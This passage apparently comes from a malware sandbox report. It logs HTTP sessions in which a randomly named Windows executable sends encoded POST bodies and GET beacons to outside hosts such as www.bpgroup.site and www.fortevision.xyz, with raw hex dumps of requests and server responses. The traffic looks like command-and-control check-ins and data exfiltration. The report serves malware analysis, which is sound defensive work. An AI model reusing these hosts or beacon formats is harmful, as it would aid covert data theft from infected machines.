font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
Nov 24, 2024 08:10:40.198467016 CET	253	IN	Data Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49842	74.48.143.82	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:10:41.666551113 CET	742	OUT	POST /mlxg/ HTTP/1.1 Host: www.bpgroup.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.bpgroup.site Referer: http://www.bpgroup.site/mlxg/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 225 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 52 53 62 35 4c 54 70 43 43 46 74 42 55 59 70 68 63 55 33 42 2f 6c 69 5a 6a 6e 7a 56 45 59 37 73 7a 48 41 47 76 59 44 31 78 5a 57 49 39 5a 77 61 50 78 74 50 6b 73 45 67 59 54 46 4f 64 41 37 6c 6c 78 32 2b 42 55 6f 44 55 30 74 77 78 57 5a 4c 47 73 44 4a 63 73 39 2b 52 6a 62 46 49 43 7a 73 76 52 53 6b 74 6d 5a 47 35 38 69 44 77 48 32 49 5a 6b 61 49 30 54 79 54 50 57 6c 50 74 43 58 31 61 30 74 68 32 70 62 55 42 64 7a 38 41 43 66 70 78 34 6a 2f 2b 72 50 31 4c 58 50 50 6f 64 53 6c 67 41 6f 6f 66 52 57 57 65 35 45 51 75 70 51 37 37 6d 4d 7a 2f 74 4c 50 2b 79 35 72 64 68 54 63 74 65 65 48 38 5a 7a 74 4a 4d 56 57 67 48 4a 4a 46 53 59 36 58 73 59 3d Data Ascii: 3vNdCBvX=RSb5LTpCCFtBUYphcU3B/liZjnzVEY7szHAGvYD1xZWI9ZwaPxtPksEgYTFOdA7llx2+BUoDU0twxWZLGsDJcs9+RjbFICzsvRSktmZG58iDwH2IZkaI0TyTPWlPtCX1a0th2pbUBdz8ACfpx4j/+rP1LXPPodSlgAoofRWWe5EQupQ77mMz/tLP+y5rdhTcteeH8ZztJMVWgHJJFSY6XsY=
Nov 24, 2024 08:10:42.916935921 CET	1236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Sun, 24 Nov 2024 07:10:43 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
Nov 24, 2024 08:10:42.917006016 CET	253	IN	Data Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49848	74.48.143.82	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:10:44.335087061 CET	10824	OUT	POST /mlxg/ HTTP/1.1 Host: www.bpgroup.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.bpgroup.site Referer: http://www.bpgroup.site/mlxg/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10305 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 52 53 62 35 4c 54 70 43 43 46 74 42 55 59 70 68 63 55 33 42 2f 6c 69 5a 6a 6e 7a 56 45 59 37 73 7a 48 41 47 76 59 44 31 78 5a 4f 49 38 72 34 61 64 69 46 50 71 4d 45 67 44 7a 46 4e 64 41 37 43 6c 78 75 79 42 55 6b 31 55 32 56 77 77 77 74 4c 42 64 44 4a 57 73 39 2b 64 44 62 49 47 69 79 30 76 52 43 67 74 6d 4a 47 35 38 69 44 77 42 79 49 65 31 61 49 35 7a 79 53 4f 57 6c 35 70 43 58 64 61 30 46 78 32 70 65 76 42 72 44 38 41 69 50 70 71 72 4c 2f 39 4c 50 33 4b 58 50 58 6f 61 61 2b 67 41 6b 65 66 53 4b 34 65 35 67 51 73 39 64 76 69 30 51 32 75 76 66 51 6f 41 39 68 56 58 53 66 67 73 37 34 32 6f 72 66 63 4e 31 68 75 67 30 54 65 44 77 44 43 4d 66 62 74 6b 6b 61 35 58 53 51 33 76 54 4d 73 72 34 32 58 39 76 59 68 78 57 55 62 53 79 67 78 35 4d 72 72 33 4b 75 52 48 79 63 77 79 79 69 31 69 56 70 41 51 33 68 78 72 4f 66 76 4f 77 30 70 56 41 39 70 67 43 2f 38 47 4b 30 51 6d 4d 36 6b 37 77 5a 5a 7a 75 35 45 32 5a 53 72 71 43 31 6d 30 32 73 6c 7a 67 44 78 36 34 68 4a 67 6d 77 75 56 61 74 70 [TRUNCATED] Data Ascii: 3vNdCBvX=RSb5LTpCCFtBUYphcU3B/liZjnzVEY7szHAGvYD1xZOI8r4adiFPqMEgDzFNdA7ClxuyBUk1U2VwwwtLBdDJWs9+dDbIGiy0vRCgtmJG58iDwByIe1aI5zySOWl5pCXda0Fx2pevBrD8AiPpqrL/9LP3KXPXoaa+gAkefSK4e5gQs9dvi0Q2uvfQoA9hVXSfgs742orfcN1hug0TeDwDCMfbtkka5XSQ3vTMsr42X9vYhxWUbSygx5Mrr3KuRHycwyyi1iVpAQ3hxrOfvOw0pVA9pgC/8GK0QmM6k7wZZzu5E2ZSrqC1m02slzgDx64hJgmwuVatpydFkViqHMmCh/ZMW+PxfaX2hTrRMD7tHcJrfcgfxMz8hVCSRBSllMiOVDUvdeBQT33NCKgH/bLKWl4FqxYg7TXEZ8+K25u84R7RHTfHEXpLXa9c+jEIEUgqwULFJUC5yTcz/wuilmc63+w99EDO8IaQjHQftjGo/H2IWzxG2eOZ6I88NAsrfRVwdg4OwMk4s4pQV3Fq9a/hm2idrH+8Yiboh0BmI5ukHoSX4vzFDwV6A95occvFxLVSOgdk+mcZf0aJt8CDisHvEcxn8abTD+1BH5EXxMCaaS57uTpK7lzE7ZBloJhQRLIi8Z2V7IS4AYUuYQRFHciNtlymf3fgPrNIeN0UQvWfS21tStfuORtGAbEiLmTeYun21JH8fiW16kWCz4GuTT4gWyftNbyygyhIWdlWeNV34dFRxw6LFd+lKfy/wcOhSlnijH2h0Z0Qt7+SPPlgFnNKsk7bb/7JUoZcuIRSbRqF5Q2DpZQ6t15N/rNZwHgXVIT0iM7taD/bhpUvUGlKB1uR6GAiGUDtR46gIafKhOIQxx95D4B4AwCIVHgX7SOfg1c+B552QURg00dAHIINBvai2aexpMmYaxlnrOWAYeRCNR6Hloi4L+SN7DZHCGYXEhqrUfqosmjiHab3s0TIV8lns50hf/gwcLdZXm1JeqwX7uJ [TRUNCATED]
Nov 24, 2024 08:10:45.583853006 CET	1236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Sun, 24 Nov 2024 07:10:45 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
Nov 24, 2024 08:10:45.583875895 CET	253	IN	Data Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49854	74.48.143.82	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:10:46.991288900 CET	460	OUT	GET /mlxg/?3vNdCBvX=cQzZIkxePH03UbtTShzK+VL4o2HqQJS38l8io/jKjoXZ1YEXRx5ntf5pTkNOcA/fsinJED0Fc0Ua6QV4aMGrbeJFZzqSBCnp1w20sGwly8q3n1+yWGeN50w=&etx=BXy4elO0X HTTP/1.1 Host: www.bpgroup.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Nov 24, 2024 08:10:48.200839996 CET	1236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Sun, 24 Nov 2024 07:10:48 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
Nov 24, 2024 08:10:48.200902939 CET	253	IN	Data Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49870	13.248.169.48	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:10:53.836222887 CET	731	OUT	POST /dash/ HTTP/1.1 Host: www.fortevision.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.fortevision.xyz Referer: http://www.fortevision.xyz/dash/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 205 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 56 4f 76 68 74 72 41 48 41 55 51 64 69 73 4f 58 5a 4e 4c 6a 63 4b 4b 64 30 73 66 4f 32 4a 42 53 61 48 45 52 32 54 33 63 53 4b 6a 76 52 76 56 67 4a 6c 74 75 45 44 6f 42 51 68 78 31 6f 65 41 68 31 2f 48 4e 33 72 39 50 79 47 59 50 70 6a 59 4f 33 67 4e 50 6a 75 39 6a 55 4a 53 44 44 39 49 32 76 2f 6a 30 2b 35 63 75 78 46 55 2f 75 39 33 69 78 34 71 61 65 65 65 53 58 50 75 50 73 38 68 32 7a 66 66 78 5a 72 57 76 74 63 59 4f 54 33 59 4c 31 65 53 47 79 64 73 7a 65 66 42 36 57 4b 74 37 74 41 30 49 4a 70 71 52 55 39 32 57 77 34 42 55 78 6a 65 37 64 6b 37 6d 4e 50 2b 4e 47 69 31 6b 44 67 3d 3d Data Ascii: 3vNdCBvX=VOvhtrAHAUQdisOXZNLjcKKd0sfO2JBSaHER2T3cSKjvRvVgJltuEDoBQhx1oeAh1/HN3r9PyGYPpjYO3gNPju9jUJSDD9I2v/j0+5cuxFU/u93ix4qaeeeSXPuPs8h2zffxZrWvtcYOT3YL1eSGydszefB6WKt7tA0IJpqRU92Ww4BUxje7dk7mNP+NGi1kDg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49880	13.248.169.48	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:10:56.509388924 CET	751	OUT	POST /dash/ HTTP/1.1 Host: www.fortevision.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.fortevision.xyz Referer: http://www.fortevision.xyz/dash/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 225 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 56 4f 76 68 74 72 41 48 41 55 51 64 68 4d 2b 58 62 75 6a 6a 56 4b 4b 43 77 63 66 4f 34 70 42 65 61 48 41 52 32 58 4f 5a 53 66 7a 76 52 4b 70 67 49 67 42 75 46 44 6f 42 59 42 78 77 33 75 42 76 31 34 50 7a 33 70 35 50 79 47 38 50 70 6d 38 4f 77 54 6c 4f 67 65 39 68 4e 5a 53 57 65 4e 49 32 76 2f 6a 30 2b 39 38 45 78 46 63 2f 75 4a 7a 69 33 74 65 5a 64 65 65 4e 55 50 75 50 6e 63 68 79 7a 66 65 6b 5a 70 75 56 74 65 77 4f 54 32 6f 4c 31 76 53 46 39 64 73 70 41 76 41 78 58 37 41 74 6f 44 6c 75 55 49 4b 6d 5a 4d 2b 63 34 65 4d 4f 67 53 2f 73 50 6b 66 56 51 49 33 35 4c 68 49 74 59 6d 63 37 71 4a 4c 66 2f 31 50 39 5a 61 41 43 45 47 33 76 61 37 63 3d Data Ascii: 3vNdCBvX=VOvhtrAHAUQdhM+XbujjVKKCwcfO4pBeaHAR2XOZSfzvRKpgIgBuFDoBYBxw3uBv14Pz3p5PyG8Ppm8OwTlOge9hNZSWeNI2v/j0+98ExFc/uJzi3teZdeeNUPuPnchyzfekZpuVtewOT2oL1vSF9dspAvAxX7AtoDluUIKmZM+c4eMOgS/sPkfVQI35LhItYmc7qJLf/1P9ZaACEG3va7c=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49886	13.248.169.48	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:10:59.182293892 CET	10833	OUT	POST /dash/ HTTP/1.1 Host: www.fortevision.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.fortevision.xyz Referer: http://www.fortevision.xyz/dash/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10305 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 56 4f 76 68 74 72 41 48 41 55 51 64 68 4d 2b 58 62 75 6a 6a 56 4b 4b 43 77 63 66 4f 34 70 42 65 61 48 41 52 32 58 4f 5a 53 63 54 76 51 2f 6c 67 4a 44 35 75 58 7a 6f 42 53 68 78 78 33 75 42 69 31 2b 6e 4a 33 70 31 31 79 45 30 50 6f 41 67 4f 31 6d 5a 4f 37 4f 39 68 51 4a 54 78 44 39 49 2f 76 38 62 77 2b 35 51 45 78 46 63 2f 75 49 44 69 6d 34 71 5a 62 65 65 53 58 50 75 44 73 38 68 4b 7a 66 58 54 5a 70 72 6f 73 76 51 4f 54 57 34 4c 33 39 36 46 30 64 73 33 42 76 42 78 58 37 4e 7a 6f 46 42 31 55 49 2f 78 5a 4d 36 63 39 2f 6b 55 30 77 50 52 61 46 48 77 4e 61 66 52 54 44 73 50 65 46 6f 53 6d 4d 50 37 39 55 33 50 57 64 78 34 55 44 72 58 4f 73 4b 39 49 50 42 63 54 74 50 79 42 4e 6a 73 53 46 61 65 59 4a 7a 2b 70 42 4d 6b 2b 48 74 63 46 35 39 76 6a 48 75 4f 63 31 75 65 79 49 50 41 49 4a 67 4c 43 31 6a 5a 4e 4a 56 4c 32 2f 53 54 53 6b 31 4c 41 6b 6a 35 4f 50 65 2b 4e 2b 51 77 43 4c 49 58 33 30 63 46 4a 51 42 68 43 34 31 6a 4b 59 4e 7a 69 2b 7a 41 6d 6e 74 7a 76 56 77 47 44 59 51 51 73 [TRUNCATED] Data Ascii: 3vNdCBvX=VOvhtrAHAUQdhM+XbujjVKKCwcfO4pBeaHAR2XOZScTvQ/lgJD5uXzoBShxx3uBi1+nJ3p11yE0PoAgO1mZO7O9hQJTxD9I/v8bw+5QExFc/uIDim4qZbeeSXPuDs8hKzfXTZprosvQOTW4L396F0ds3BvBxX7NzoFB1UI/xZM6c9/kU0wPRaFHwNafRTDsPeFoSmMP79U3PWdx4UDrXOsK9IPBcTtPyBNjsSFaeYJz+pBMk+HtcF59vjHuOc1ueyIPAIJgLC1jZNJVL2/STSk1LAkj5OPe+N+QwCLIX30cFJQBhC41jKYNzi+zAmntzvVwGDYQQswLkLCq8Jk0Y3KNxXhrmrXALT+mTgWmKjUkFc8hZm+SZPSadrYzsMjkwWqeev6IRInOubR9Q++H3iPlbdEYHNQj+ThlMFsJy6zGoUyiwYuCLzsl9U98z+NNVqo11W3oWUmEQJ1xVaiZhUSMzxjybt/JgQewNw40NiJ/kBTlw1Frd+8yAB5PrRSRbd5IaG6m2zOdg6mExHQCGVX4Adinw3emKGAZmjD44zs83ZetfZIKseOsG9a7ehSZXk6quUQhFU6ZikRHO6WDpbaqbSxyGWK0Ohe0c1RgxnezR163oq3gj53j4WxqvCiJAJVR/SJggLIk/qd2cAaOswhacl/dW5Mqr/dnQ6gn5WDaim5jSB6/g69YgwfsuzN9pxv29dZM4Hm9wUHTAn2145BgMgviimy3yK2t6qGiCi5huFFaWkRvKM0Zhb8rlDqGEzRAuAXjgukOAMfKyX9raTudjloWY4jzp4vH4olMG7MQ50Apx3MHxvaykd271MRo9smsI0AaYp07LmtDu6kuJp75hJDLa3AaJ5c1LuAG9udxCL6uMkjkPx11j4kDxW9hjKx45D1xFw6x7KzC1gXojkiQDavlOV0GGfW1Pbtjh8Z6Q8RAiHapiRBzp87arm5QdMmspCRS5tsUGRpZIr5YmoYe1bm/Vghydl0FpdjAeSJJ [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49893	13.248.169.48	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:11:01.849385023 CET	463	OUT	GET /dash/?etx=BXy4elO0X&3vNdCBvX=YMHBudoHIUxH+uWIVKjvQ5iF9tPwkJokcjAI4kujT8yqZMh8PwdCYhUcXF8Hm7NuwJrkm81K0kAXhGwUtx1Q0LUsa6Gef/JbuNbn4M13wkoCvJOzh8OnTqA= HTTP/1.1 Host: www.fortevision.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Nov 24, 2024 08:11:03.029344082 CET	398	IN	HTTP/1.1 200 OK Server: openresty Date: Sun, 24 Nov 2024 07:11:02 GMT Content-Type: text/html Content-Length: 258 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 65 74 78 3d 42 58 79 34 65 6c 4f 30 58 26 33 76 4e 64 43 42 76 58 3d 59 4d 48 42 75 64 6f 48 49 55 78 48 2b 75 57 49 56 4b 6a 76 51 35 69 46 39 74 50 77 6b 4a 6f 6b 63 6a 41 49 34 6b 75 6a 54 38 79 71 5a 4d 68 38 50 77 64 43 59 68 55 63 58 46 38 48 6d 37 4e 75 77 4a 72 6b 6d 38 31 4b 30 6b 41 58 68 47 77 55 74 78 31 51 30 4c 55 73 61 36 47 65 66 2f 4a 62 75 4e 62 6e 34 4d 31 33 77 6b 6f 43 76 4a 4f 7a 68 38 4f 6e 54 71 41 3d 22 7d 3c 2f 73 63 72 69 70 